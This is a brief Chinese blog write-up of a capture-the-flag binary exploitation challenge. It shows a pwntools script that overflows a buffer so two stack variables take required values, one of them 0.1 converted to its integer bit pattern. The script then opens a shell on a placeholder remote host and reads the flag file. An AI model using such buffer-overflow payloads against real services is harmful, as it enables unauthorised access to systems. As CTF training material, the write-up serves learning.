版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/xxxslinyue/article/details/83042924
拖进IDA 通过main函数的代码显而易见
v7需要等于0x7FFFFFFFFFFFFFF以及v8需要等于0.1
通过buf进行覆盖即可
0.1在内存中的值为4591870180066957722
double a = 0.1;
printf("%lld\n", *(long long*)&a);
//输出4591870180066957722
编写脚本
from pwn import *
r = remote('xxxxxxx',port)
#此处填写你的题目ip和端口
r.send(b"a"*0x18+p64(0x7FFFFFFFFFFFFFF)+p64(4591870180066957722))
r.interactive()
#进入shell交互后
#输入ls可以看到目录下有个flag文件
#cat flag即得到答案